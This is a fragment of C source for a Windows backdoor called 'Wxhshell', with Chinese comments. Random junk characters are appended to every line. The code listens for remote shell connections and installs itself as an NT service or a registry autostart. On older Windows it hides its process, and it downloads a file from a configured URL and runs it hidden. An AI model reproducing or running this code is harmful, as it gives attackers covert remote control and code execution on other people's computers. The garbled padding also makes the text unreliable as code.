} PROCESS_BASIC_INFORMATION; 9:E: 3%%
xtBu]I)%
PROCNTQSIP NtQueryInformationProcess; I&U.5wf
@<.ei)cqb
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L}
"bp
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u69UUkG
{/j gB"9
HANDLE hProcess; #;[0:jU0
PROCESS_BASIC_INFORMATION pbi; h/Yxm2
kRjNz~g
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;}Ei #T,D
if(NULL == hInst ) return 0; ",xTgB3?V
f(G1xw]]@Y
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k!ID
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oJZxRm[g$t
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7B<,nKd
: *XAQb0
if (!NtQueryInformationProcess) return 0; RFLfvD<
Uc,MZV4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0xx4rpH
if(!hProcess) return 0; <+-=j
"} "/d(
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qSGM6kb
riL|B3
CloseHandle(hProcess); dF[|9%)
hF{gN3v5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '?jsH+j+
if(hProcess==NULL) return 0; $ q*a}d[Q
F$-f j "jC
HMODULE hMod; t.+)g-X
char procName[255]; #mU<]O
unsigned long cbNeeded; &b`'RZe
'ieTt_1.G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Rc
%
cQ]c!G|a4
CloseHandle(hProcess); k'_f?_PBu
*MS$C$HOq
if(strstr(procName,"services")) return 1; // 以服务启动 r .'xqzF/
@ x .`z
return 0; // 注册表启动 ;Xf1BG r
} $KQ q~|
YKz#,
// 主模块 9%Tqk"x?
int StartWxhshell(LPSTR lpCmdLine) )Q62 I\
{ BT&R:_:
SOCKET wsl; gxhdxSm=2
BOOL val=TRUE; +HPcvu?1
int port=0; R `Fgne$4
struct sockaddr_in door; Ph%{h"
SXP(C^?C
if(wscfg.ws_autoins) Install(); 3"zPG~fY{
a{L&RRJ
port=atoi(lpCmdLine); &XV9_{Hm
I-}ms
if(port<=0) port=wscfg.ws_port; U3C"o|
QJj='+R>
WSADATA data; N,Z*d
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 ob?M:S
"P0!cY8r
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .^M#BAt2
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R:+'"dBge
door.sin_family = AF_INET; Ge/K.]>i
door.sin_addr.s_addr = inet_addr("127.0.0.1");
?HRS*
door.sin_port = htons(port); "-djA, `
Pro?xY$E)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OX 'V
closesocket(wsl); Y6&v&dA;
return 1; 'YB[4Q /0
} PJ;WNo8
5+11J[~{
if(listen(wsl,2) == INVALID_SOCKET) { Lu{/"&)
closesocket(wsl); G^tazAEfo
return 1; :'B(DzUR
} SzIzQR93&
Wxhshell(wsl); :Fm*WqZu
WSACleanup(); >SLQW
_}Qtx/Cg
return 0; >O<a9wz
l;KrFJ6
} }A+ncabm
"T_9_6tH
// 以NT服务方式启动 a7c`[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /='0W3+o*L
{ U+*l!"O,
DWORD status = 0; VsJ+-IHm
DWORD specificError = 0xfffffff; 1Xo0(*O
MOK}:^bSu
serviceStatus.dwServiceType = SERVICE_WIN32; O-HS)g$2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; D
h;5hu2"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }3A~ek#*~
serviceStatus.dwWin32ExitCode = 0; y~\ujp_5w
serviceStatus.dwServiceSpecificExitCode = 0; U+qyS|i
serviceStatus.dwCheckPoint = 0; {ibu0
serviceStatus.dwWaitHint = 0; vRH^en
r}&&e BY
f
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FJDC^@ Ne
if (hServiceStatusHandle==0) return; J{^md0l
Mib.,J~
status = GetLastError(); iphC\*F
if (status!=NO_ERROR) iAZ8Y/
{ '=vZAV`
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?5J#
yn
serviceStatus.dwCheckPoint = 0; ]y6{um8"
serviceStatus.dwWaitHint = 0; gy%.+!4>v`
serviceStatus.dwWin32ExitCode = status; Fy"M 4;7
serviceStatus.dwServiceSpecificExitCode = specificError; Et!J*{s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >({qgzV`
return; eJTU'aX*
} A[uE#T^
:Bmn<2[Y;
serviceStatus.dwCurrentState = SERVICE_RUNNING; [:{
FR2*x
serviceStatus.dwCheckPoint = 0; 8 7(t<3V&
serviceStatus.dwWaitHint = 0; {7ji m
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a51e~mg Z`
} !Pw*p*z
nf^?X`g
// 处理NT服务事件,比如:启动、停止 Nna.N U1
VOID WINAPI NTServiceHandler(DWORD fdwControl) kW)3naUf<
{ ]CF-#q}'
switch(fdwControl) ppRmC,0f^
{ g5@JA^\vZT
case SERVICE_CONTROL_STOP: TL2E|@k1]
serviceStatus.dwWin32ExitCode = 0; @>Yd6C
serviceStatus.dwCurrentState = SERVICE_STOPPED; R1X'}#mU
serviceStatus.dwCheckPoint = 0; sJ|pR=g)!
serviceStatus.dwWaitHint = 0; >9!J?HA
{ mFF4qbe
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^T!Zz"/:
} ,_u7@Ix
return;
I8?
case SERVICE_CONTROL_PAUSE: .p!
DVQ"a
serviceStatus.dwCurrentState = SERVICE_PAUSED; YK)m6zW5
break; ;Y\LsmZ;F
case SERVICE_CONTROL_CONTINUE: "G
[Nb:,CR
serviceStatus.dwCurrentState = SERVICE_RUNNING; wHbkF#[:i
break; w2.]
3QAZ
case SERVICE_CONTROL_INTERROGATE: .qSDe+A
break; llP
V{
}; _K9`o^g%PJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^AH[]sE_
} YK6LJv}
<4;
nq~
// 标准应用程序主函数 04-_ K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) FL'}~il
{ 9$\s
v5
BDI@h%tJb:
// 获取操作系统版本 :oZ<[#p"*
OsIsNt=GetOsVer(); 6p4BsWPx
GetModuleFileName(NULL,ExeFile,MAX_PATH); M5h
r0R{
IFTNr2I
// 从命令行安装 UON=7}=$&
if(strpbrk(lpCmdLine,"iI")) Install(); = g{I`u
%PYO9:n
// 下载执行文件 :s_>y_=g
if(wscfg.ws_downexe) { t`z "=S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qUd7O](b=?
WinExec(wscfg.ws_filenam,SW_HIDE); 6^gp
/{
} #"4ioTL2
-5b|nQuY
if(!OsIsNt) { =@Oo3*>
// 如果时win9x,隐藏进程并且设置为注册表启动 \:4*h
HideProc(); 9VxM1-8Gs
StartWxhshell(lpCmdLine); p-}X=O$
} 8TFQ%jv
else 2&V>pE
if(StartFromService())
X%'z
// 以服务方式启动 #SHeK 4
StartServiceCtrlDispatcher(DispatchTable); RxMsP;be
else *)Qv;'U=rn
// 普通方式启动 Z6zV 9hn
StartWxhshell(lpCmdLine); @3?>[R
5)RZJrN]
return 0; !d N[9}
}